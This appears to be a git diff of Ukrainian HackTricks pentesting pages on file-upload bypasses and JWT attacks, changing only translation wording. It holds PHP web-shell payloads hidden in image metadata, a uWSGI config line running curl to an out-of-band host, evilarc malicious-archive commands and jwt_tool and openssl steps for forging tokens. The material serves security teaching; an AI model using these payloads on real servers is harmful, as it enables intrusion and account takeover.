2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_
|
||||
1. Якщо це застосовно, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Перевірте **додавання дійсного розширення перед** розширенням виконання (використовуйте також попередні розширення):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Спробуйте додати **спеціальні символи в кінці.** Ви можете використовувати Burp для **брутфорсу** всіх **ascii** та **Unicode** символів. (_Зверніть увагу, що ви також можете спробувати використовувати **раніше** згадані **розширення**_)
|
||||
|
@ -59,12 +59,12 @@
|
|||
* _file.php%0a.png_
|
||||
* _file.php%0d%0a.png_
|
||||
* _file.phpJunk123png_
|
||||
5. Додайте **інший шар розширень** до попередньої перевірки:
|
||||
5. Додайте **ще один шар розширень** до попередньої перевірки:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Спробуйте поставити **exec розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **.php**, але не обов'язково закінчується на .php, буде виконувати код):
|
||||
6. Спробуйте поставити **розширення exec перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням\*\* _**.php**_**, але** не обов'язково закінчується на .php\*\* виконає код):
|
||||
* _ex: file.php.png_
|
||||
7. Використання **NTFS альтернативного потоку даних (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
|
||||
7. Використання **альтернативного потоку даних NTFS (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
|
||||
8. Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
|
@ -80,31 +80,31 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
### Обхід перевірок Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
* Обійдіть перевірки **Content-Type**, встановивши **значення** заголовка **Content-Type** на: _image/png_, _text/plain_, application/octet-stream_
|
||||
* Обійдіть перевірки **Content-Type**, встановивши **значення** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Словник **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Обійдіть перевірку **magic number**, додавши на початку файлу **байти реального зображення** (заплутайте команду _file_). Або введіть оболонку всередину **метаданих**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` або ви також можете **ввести корисне навантаження безпосередньо** в зображення:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
|
||||
* Якщо **компресія додається до вашого зображення**, наприклад, за допомогою деяких стандартних бібліотек PHP, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе компресію**.
|
||||
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **техніку IDAT chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
|
||||
* Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **техніку IDAT chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе компресію**.
|
||||
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
|
||||
* Ще одна техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе компресію**.
|
||||
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Інші трюки для перевірки
|
||||
|
||||
* Знайдіть вразливість для **перейменування** вже завантаженого файлу (щоб змінити розширення).
|
||||
* Знайдіть вразливість **Local File Inclusion** для виконання бекдору.
|
||||
* Знайдіть вразливість **Local File Inclusion**, щоб виконати бекдор.
|
||||
* **Можливе розкриття інформації**:
|
||||
1. Завантажте **декілька разів** (і в **один і той же час**) **той самий файл** з **тим самим ім'ям**
|
||||
1. Завантажте **кілька разів** (і в **один і той же час**) **той самий файл** з **тим самим ім'ям**
|
||||
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
|
||||
3. Завантажте файл з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache на **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
|
||||
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** в **NTFS**. (Windows)
|
||||
5. Завантажте файл у **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows)
|
||||
6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
|
||||
* Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою.
|
||||
* Спробуйте також **завантажити виконуваний файл** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли його випадково відкриє жертва.
|
||||
|
||||
### Спеціальні трюки з розширеннями
|
||||
|
||||
|
@ -145,14 +145,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та проаналізована, процес uWSGI повинен бути перезапущений (можливо, після збою або через атаку відмови в обслуговуванні) або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл через певні інтервали при виявленні змін.
|
||||
Виконання корисного навантаження відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та проаналізована, процес uWSGI повинен бути перезапущений (можливо, після збою або через атаку відмови в обслуговуванні) або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл через певні інтервали при виявленні змін.
|
||||
|
||||
Важливо зрозуміти м'яку природу парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
|
||||
Важливо зрозуміти м'яку природу парсингу конфігураційного файлу uWSGI. Зокрема, обговорюване корисне навантаження може бути вставлено в бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
|
||||
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
|
||||
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
|
||||
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл в **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -195,7 +195,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
* [Відома вразливість **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Якщо ви можете **вказати веб-серверу, щоб отримати зображення з URL**, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/). Якщо це **зображення** буде **збережено** на якомусь **публічному** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **вкрасти інформацію про кожного відвідувача**.
|
||||
* [**XXE та CORS** обхід з завантаженням PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити дані PDF для отримання виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок.
|
||||
* Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити PDF дані для отримання виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних інструкцій.
|
||||
* Завантажте \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) вміст, щоб перевірити, чи є на сервері якийсь **антивірус**
|
||||
* Перевірте, чи є якийсь **обмеження за розміром** при завантаженні файлів
|
||||
|
||||
|
@ -227,7 +227,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
|
||||
|
||||
#### Символічне посилання
|
||||
#### Symlink
|
||||
|
||||
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
|
||||
```
|
||||
|
@ -235,18 +235,18 @@ ln -s ../../../index.php symindex.txt
|
|||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
### Розпакування в різні папки
|
||||
|
||||
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
|
||||
|
||||
Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
|
||||
Автоматизований експлойт для створення таких файлів доступний на [**evilarc на GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Додатково, **трик з symlink з evilarc** є варіантом. Якщо мета полягає в тому, щоб націлитися на файл, наприклад, `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це забезпечує, що evilarc не зіткнеться з помилками під час своєї роботи.
|
||||
Додатково, **трик з symlink з evilarc** є варіантом. Якщо мета полягає в тому, щоб націлитися на файл, наприклад, `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це забезпечує те, що evilarc не зіткнеться з помилками під час своєї роботи.
|
||||
|
||||
Нижче наведено приклад коду Python, який використовується для створення шкідливого zip-файлу:
|
||||
```python
|
||||
|
@ -304,7 +304,7 @@ pop graphic-context
|
|||
```
|
||||
## Вбудовування PHP Shell у PNG
|
||||
|
||||
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки їх зазвичай використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
|
||||
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
|
||||
|
||||
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надано в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
|
||||
|
||||
|
@ -316,7 +316,7 @@ pop graphic-context
|
|||
|
||||
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних програмах є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
|
||||
|
||||
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна подвійність поліглота може не бути достатньою для гарантії його завантаження.
|
||||
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
|
||||
|
||||
Більше інформації за адресою: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -329,7 +329,7 @@ pop graphic-context
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Уразливості JWT (Json Web Tokens)
|
||||
# JWT Вразливості (Json Web Tokens)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -6,16 +6,16 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -26,7 +26,7 @@
|
|||
|
||||
### **Швидкі перемоги**
|
||||
|
||||
Запустіть [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) в режимі `All Tests!` і чекайте зелених рядків.
|
||||
Запустіть [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) в режимі `All Tests!` і чекайте на зелені рядки.
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -48,7 +48,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
|
||||
#### **Чи перевіряється токен?**
|
||||
|
||||
Щоб перевірити, чи перевіряється підпис JWT:
|
||||
Щоб перевірити, чи підпис JWT перевіряється:
|
||||
|
||||
* Повідомлення про помилку вказує на те, що триває перевірка; чутливі деталі у детальних помилках слід переглянути.
|
||||
* Зміна на повернутій сторінці також вказує на перевірку.
|
||||
|
@ -71,14 +71,14 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
|
||||
### Змінити алгоритм на None
|
||||
|
||||
Встановіть використовуваний алгоритм як "None" і видаліть частину підпису.
|
||||
Встановіть використовуваний алгоритм як "None" і видаліть частину з підписом.
|
||||
|
||||
Використовуйте розширення Burp під назвою "JSON Web Token", щоб спробувати цю вразливість і змінити різні значення всередині JWT (надішліть запит до Repeater, і на вкладці "JSON Web Token" ви можете змінити значення токена. Ви також можете вибрати, щоб встановити значення поля "Alg" на "None").
|
||||
|
||||
### Змінити алгоритм RS256(асиметричний) на HS256(симетричний) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
Алгоритм HS256 використовує секретний ключ для підпису та перевірки кожного повідомлення.\
|
||||
Алгоритм RS256 використовує приватний ключ для підпису повідомлення і використовує публічний ключ для аутентифікації.
|
||||
Алгоритм RS256 використовує приватний ключ для підпису повідомлення та використовує публічний ключ для аутентифікації.
|
||||
|
||||
Якщо ви зміните алгоритм з RS256 на HS256, код на бекенді використовує публічний ключ як секретний ключ, а потім використовує алгоритм HS256 для перевірки підпису.
|
||||
|
||||
|
@ -92,7 +92,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
Зловмисник вбудовує новий ключ у заголовок токена, і сервер використовує цей новий ключ для перевірки підпису (CVE-2018-0114).
|
||||
|
||||
Це можна зробити за допомогою розширення "JSON Web Tokens" для Burp.\
|
||||
(Відправте запит до Repeater, у вкладці JSON Web Token виберіть "CVE-2018-0114" і надішліть запит).
|
||||
(Відправте запит до Repeater, у вкладці JSON Web Token виберіть "CVE-2018-0114" і відправте запит).
|
||||
|
||||
### JWKS Спуфінг
|
||||
|
||||
|
@ -100,10 +100,10 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
|
||||
* **Оцінка токенів з заголовком "jku"**:
|
||||
* Перевірте URL заяви "jku", щоб переконатися, що він веде до відповідного файлу JWKS.
|
||||
* Змініть значення "jku" токена, щоб направити його на контрольовану веб-службу, що дозволяє спостерігати за трафіком.
|
||||
* Змініть значення "jku" токена, щоб направити його на контрольований веб-сервіс, що дозволяє спостерігати за трафіком.
|
||||
* **Моніторинг HTTP-взаємодії**:
|
||||
* Спостереження за HTTP-запитами до вашого вказаного URL вказує на спроби сервера отримати ключі з наданого вами посилання.
|
||||
* При використанні `jwt_tool` для цього процесу важливо оновити файл `jwtconf.ini` з вашим особистим місцем розташування JWKS для полегшення тестування.
|
||||
* Коли ви використовуєте `jwt_tool` для цього процесу, важливо оновити файл `jwtconf.ini` з вашим особистим розташуванням JWKS для полегшення тестування.
|
||||
* **Команда для `jwt_tool`**:
|
||||
* Виконайте наступну команду, щоб змоделювати сценарій з `jwt_tool`:
|
||||
|
||||
|
@ -117,11 +117,11 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
#### Виявлення ключа через "kid"
|
||||
|
||||
Коли заява `kid` присутня в заголовку, рекомендується шукати у веб-директорії відповідний файл або його варіації. Наприклад, якщо вказано `"kid":"key/12345"`, слід шукати файли _/key/12345_ та _/key/12345.pem_ у кореневій директорії веб-сайту.
|
||||
Коли заява `kid` присутня в заголовку, рекомендується шукати у веб-директорії відповідний файл або його варіації. Наприклад, якщо вказано `"kid":"key/12345"`, слід шукати файли _/key/12345_ та _/key/12345.pem_ у кореневій директорії веб-сервера.
|
||||
|
||||
#### Перехід по шляху з "kid"
|
||||
|
||||
Заява `kid` також може бути використана для навігації по файловій системі, потенційно дозволяючи вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або служби. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
|
||||
Заява `kid` також може бути використана для навігації по файловій системі, потенційно дозволяючи вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або сервіси. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -154,9 +154,9 @@ openssl genrsa -out keypair.pem 2048
|
|||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Тоді ви можете використовувати, наприклад, [**jwt.io**](https://jwt.io), щоб створити новий JWT з **створеними публічними та приватними ключами та вказати параметр jku на створений сертифікат.** Щоб створити дійсний сертифікат jku, ви можете завантажити оригінальний і змінити необхідні параметри.
|
||||
Тоді ви можете використовувати, наприклад, [**jwt.io**](https://jwt.io), щоб створити новий JWT з **створеними відкритими та закритими ключами та вказуючи параметр jku на створений сертифікат.** Щоб створити дійсний сертифікат jku, ви можете завантажити оригінальний і змінити необхідні параметри.
|
||||
|
||||
Ви можете отримати параметри "e" та "n" з публічного сертифіката, використовуючи:
|
||||
Ви можете отримати параметри "e" та "n" з відкритого сертифіката, використовуючи:
|
||||
```bash
|
||||
from Crypto.PublicKey import RSA
|
||||
fp = open("publickey.crt", "r")
|
||||
|
@ -167,16 +167,16 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у форматі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати підписують попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека.
|
||||
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у форматі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати кожен підписує попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека.
|
||||
|
||||
Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **можете підробити JWT**.
|
||||
Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **зможете підробити JWT**.
|
||||
|
||||
Щоб підробити новий токен, використовуючи сертифікат, контрольований вами, вам потрібно створити сертифікат і витягти публічні та приватні ключі:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Тоді ви можете використовувати, наприклад, [**jwt.io**](https://jwt.io), щоб створити новий JWT з **створеними публічними та приватними ключами та вказати параметр x5u на сертифікат .crt, що був створений.**
|
||||
Тоді ви можете використовувати, наприклад, [**jwt.io**](https://jwt.io), щоб створити новий JWT з **створеними відкритими та закритими ключами та вказати параметр x5u на сертифікат .crt, що був створений.**
|
||||
|
||||
![](<../.gitbook/assets/image (956).png>)
|
||||
|
||||
|
@ -188,7 +188,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
|
||||
![](<../.gitbook/assets/image (1119).png>)
|
||||
|
||||
Якщо зловмисник **генерує самопідписаний сертифікат** і створює підроблений токен, використовуючи відповідний приватний ключ, і замінює значення параметра "x5c" на новостворений сертифікат та модифікує інші параметри, а саме n, e та x5t, тоді, по суті, підроблений токен буде прийнятий сервером.
|
||||
Якщо зловмисник **генерує самопідписаний сертифікат** і створює підроблений токен, використовуючи відповідний закритий ключ, і замінює значення параметра "x5c" на новостворений сертифікат та модифікує інші параметри, а саме n, e та x5t, тоді, по суті, підроблений токен буде прийнятий сервером.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -252,7 +252,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
**Перевірка терміну дії токенів**
|
||||
|
||||
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. RFC JWT рекомендує пом'якшувати атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Зміст токена, включаючи парсинг міток часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool.
|
||||
